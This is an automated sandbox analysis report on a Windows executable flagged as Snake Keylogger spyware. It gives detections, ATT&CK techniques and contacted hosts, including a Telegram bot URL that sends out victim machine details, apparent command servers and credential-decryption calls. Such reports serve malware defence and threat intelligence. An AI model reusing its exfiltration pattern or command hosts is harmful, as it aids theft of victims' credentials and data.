Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Registry Run Keys / Startup Folder	11 Process Injection	11 Masquerading	1 OS Credential Dumping	211 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
GBYfjUz4a5.exe	68%	Virustotal		Browse
GBYfjUz4a5.exe	50%	ReversingLabs	Win32.Spyware.Snakekeylogger
GBYfjUz4a5.exe	100%	Avira	TR/AD.NsisInject.fivjh

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nst7D0.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nst7D0.tmp\System.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.184.206	true	false	high
drive.usercontent.google.com	172.217.18.97	true	false	high
reallyfreegeoip.org	104.21.96.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.247.73	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
http://checkip.dyndns.org/	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:648351%0D%0ADate%20and%20Time:%2008/03/2025%20/%2022:26:43%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20648351%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://chrome.google.com/webstore?hl=en0l	GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000334E2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/	GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033522000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:648351%0D%0ADate%20a	GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033444000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/8TH	GBYfjUz4a5.exe, 00000007.00000002.2482541121.0000000002F38000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/-	GBYfjUz4a5.exe, 00000007.00000002.2482541121.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000003.1759201605.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org	GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033444000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033444000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtabv20-	GBYfjUz4a5.exe, 00000007.00000002.2506408068.0000000034676000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/lB	GBYfjUz4a5.exe, 00000007.00000002.2505203474.000000003351D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org?q=	GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	GBYfjUz4a5.exe, 00000007.00000002.2482541121.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000003.1759201605.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033361000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	GBYfjUz4a5.exe, 00000007.00000002.2506408068.0000000034676000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en4	GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000334F1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	GBYfjUz4a5.exe	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033444000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000334F1000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000334E2000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033522000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033361000.00000004.00000800.00020000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033361000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com	GBYfjUz4a5.exe, 00000007.00000003.1705150186.0000000002FE3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	GBYfjUz4a5.exe, 00000007.00000002.2506408068.0000000034676000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/v20	GBYfjUz4a5.exe, 00000007.00000002.2506408068.0000000034676000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/4	GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033522000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/0l	GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033513000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/	GBYfjUz4a5.exe, 00000007.00000002.2482541121.0000000002F38000.00000004.00000020.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033361000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	GBYfjUz4a5.exe, 00000007.00000002.2506408068.0000000034676000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enlB	GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000334EC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189$	GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000333D7000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033444000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.000000003341D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000333AD000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033444000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.000000003341D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	GBYfjUz4a5.exe, 00000007.00000003.1705150186.0000000002FE3000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033361000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://gemini.google.com/app?q=	GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000333AD000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.96.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
172.217.18.97	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
142.250.184.206	drive.google.com	United States	15169	GOOGLEUS	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1632394
Start date and time:	2025-03-07 23:15:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	GBYfjUz4a5.exe renamed because original name is a hash value
Original Sample Name:	3c7ce26361ffddf491732e53dbdb1d457dc651e3709a04dc36cfa751f4333f65.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/30@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 194 Number of non-executed functions: 146
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.199.214.10
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:17:52	API Interceptor	14663x Sleep call for process: GBYfjUz4a5.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	HCoITD94bW.exe	Get hash	malicious	AgentTesla	Browse
	g44YQtTyjN.exe	Get hash	malicious	DarkCloud	Browse
	OtldpQxzAw.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	GuuQOl5kJR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	hUMdKouQ1H.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	xnlP06YunJ.exe	Get hash	malicious	AgentTesla	Browse
	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	axN56TZ3PI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	bvhauD4o49.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	0CBJ3aLKx0.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
104.21.96.1	A2h6QhZIKx.exe	Get hash	malicious	Azorult	Browse	k1d5.icu/TP341/index.php
	DHL AWB Receipt_pdf.bat.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/2dxw/
	r_BBVA_MensajeSWIFT04-03-2025-PDF.exe	Get hash	malicious	FormBook	Browse	www.kdrqcyusevx.info/k7wl/
	MUH030425.exe	Get hash	malicious	Azorult	Browse	k1d5.icu/TP341/index.php
	Invoice Remittance ref20250226.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/a669/
	368c6e62-b031-5b65-fd43-e7a610184138.eml	Get hash	malicious	HTMLPhisher	Browse	ce60771026585.oakdiiocese.org/r/74?session=770558a25b5d1fcbb8d81f113631d430f5b8d022cdc6d97cf6b16a412a3be9e6
	PO.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	OEoRzjI7JgSiUUd.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sss2/five/fre.php
	REQUEST FOR QUOTATION 2025.exe	Get hash	malicious	FormBook	Browse	www.clouser.store/3r9x/
	http://verification-center-00225526.iwantfoundation.org/	Get hash	malicious	Unknown	Browse	verification-center-00225526.iwantfoundation.org/banner-b1482d4c.webp
132.226.247.73	s6R3Xjt79e.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/
	GuuQOl5kJR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	l9inNHJqHS.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	tSftorqHTy.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/
	DayVXJx1km.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	cexqIzhyvM.exe	Get hash	malicious	GuLoader	Browse	checkip.dyndns.org/
	drRbNknjyb.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	pkNnK2ya0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/
	ZTEIhNCtP3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	sWr3wJ0SuB.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	OtldpQxzAw.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	BtCQu5APhK.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.80.1
	lvrHOgPXr5.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	s6R3Xjt79e.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	GuuQOl5kJR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.64.1
	hUMdKouQ1H.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.48.1
	1258ad6Jpw.exe	Get hash	malicious	GuLoader	Browse	104.21.16.1
	iFoDComHqT.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.16.1
checkip.dyndns.com	sWr3wJ0SuB.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	158.101.44.242
	OtldpQxzAw.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	BtCQu5APhK.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	lvrHOgPXr5.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.6.168
	s6R3Xjt79e.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.247.73
	GuuQOl5kJR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	hUMdKouQ1H.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	1258ad6Jpw.exe	Get hash	malicious	GuLoader	Browse	158.101.44.242
	iFoDComHqT.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.130.0
	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
api.telegram.org	HCoITD94bW.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	g44YQtTyjN.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	OtldpQxzAw.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	GuuQOl5kJR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	hUMdKouQ1H.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	xnlP06YunJ.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	axN56TZ3PI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	bvhauD4o49.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	0CBJ3aLKx0.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	HCoITD94bW.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	g44YQtTyjN.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	OtldpQxzAw.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	GuuQOl5kJR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	hUMdKouQ1H.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	xnlP06YunJ.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	axN56TZ3PI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	bvhauD4o49.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	0CBJ3aLKx0.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	HCoITD94bW.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	sWr3wJ0SuB.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	OtldpQxzAw.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	MmF9tcIj1J.exe	Get hash	malicious	FormBook	Browse	104.21.87.37
	BtCQu5APhK.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.80.1
	jki-dragon-release-online-setup.exe	Get hash	malicious	Unknown	Browse	104.17.118.104
	lvrHOgPXr5.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	s6R3Xjt79e.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	GuuQOl5kJR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.64.1
	hUMdKouQ1H.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.48.1
UTMEMUS	s6R3Xjt79e.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.247.73
	GuuQOl5kJR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	axN56TZ3PI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	AEo2XQmxqZ.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.8.169
	l9inNHJqHS.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	CWu89IbJQw.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	tSftorqHTy.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.247.73
	DayVXJx1km.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	NDCNDvC27F.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	sWr3wJ0SuB.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
	OtldpQxzAw.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	BtCQu5APhK.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1
	lvrHOgPXr5.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
	s6R3Xjt79e.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
	GuuQOl5kJR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1
	hUMdKouQ1H.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1
	2Jq4fZJIJ8.exe	Get hash	malicious	GuLoader	Browse	104.21.96.1
	1258ad6Jpw.exe	Get hash	malicious	GuLoader	Browse	104.21.96.1
	iFoDComHqT.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
3b5074b1b5d032e5620f69f9f700ff0e	HCoITD94bW.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	SecuriteInfo.com.Program.Unwanted.5412.9015.527.exe	Get hash	malicious	PureLog Stealer	Browse	149.154.167.220
	OtldpQxzAw.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	GuuQOl5kJR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	hUMdKouQ1H.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	ZWyrFp7WBM.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	xnlP06YunJ.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	kbdXtadZsM.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	NBdxPYAgZf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	yXsTZ347KJ.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	g44YQtTyjN.exe	Get hash	malicious	DarkCloud	Browse	172.217.18.97 142.250.184.206
	BtCQu5APhK.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.217.18.97 142.250.184.206
	GuuQOl5kJR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.217.18.97 142.250.184.206
	hUMdKouQ1H.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.217.18.97 142.250.184.206
	2Jq4fZJIJ8.exe	Get hash	malicious	GuLoader	Browse	172.217.18.97 142.250.184.206
	GyGE2VaBFL.exe	Get hash	malicious	GuLoader	Browse	172.217.18.97 142.250.184.206
	1258ad6Jpw.exe	Get hash	malicious	GuLoader	Browse	172.217.18.97 142.250.184.206
	ZUY4Nq2SyY.exe	Get hash	malicious	GuLoader	Browse	172.217.18.97 142.250.184.206
	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.217.18.97 142.250.184.206
	axN56TZ3PI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.217.18.97 142.250.184.206

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nst7D0.tmp\System.dll	BtCQu5APhK.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	GuuQOl5kJR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Steel Sample- QUOTE.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Steel Sample- QUOTE.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Skambenets.exe	Get hash	malicious	GuLoader	Browse
	Skambenets.exe	Get hash	malicious	GuLoader	Browse
	Marcom Trade SS-04665.exe	Get hash	malicious	Remcos, GuLoader	Browse
	Hermaean.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SecuriteInfo.com.FileRepMalware.23885.29286.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	SecuriteInfo.com.FileRepMalware.24375.4894.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse

Created / dropped Files

C:\Users\Public\Desktop\Varda.ini

Download File

Process:	C:\Users\user\Desktop\GBYfjUz4a5.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.33197669498491
Encrypted:	false
SSDEEP:	3:U4ooQGRDWh:hooQh
MD5:	340AD700CF73B73EA2313C044D40EA9A
SHA1:	9B90CC3147D140FA936E308C2C320BDC385DA93A
SHA-256:	55A2B8F5EF1D17023FD8245E69830CC961C0CE629EDDC7AC1043C288CB3915B5
SHA-512:	4B31D10B80AE71197AC367C868569949224A4CD542BF0E9C188B816348EC8958F952525F939C827BDDC8610F268DD12E310D6D2FC99071C741B3A38E062542B4
Malicious:	false
Reputation:	low
Preview:	[Chocho240]..struct=finkulturel..

C:\Users\user\AppData\Local\Temp\Alpha.ini

Download File

Process:	C:\Users\user\Desktop\GBYfjUz4a5.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.628848957968553
Encrypted:	false
SSDEEP:	3:YOm45GXQLQIfLBJXmgxv:5TGXQkIP2I
MD5:	B895D576D6637A778B387B2FCA0F56EC
SHA1:

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA87A8 CryptUnprotectData,		7_2_02DA87A8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA8EF1 CryptUnprotectData,		7_2_02DA8EF1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
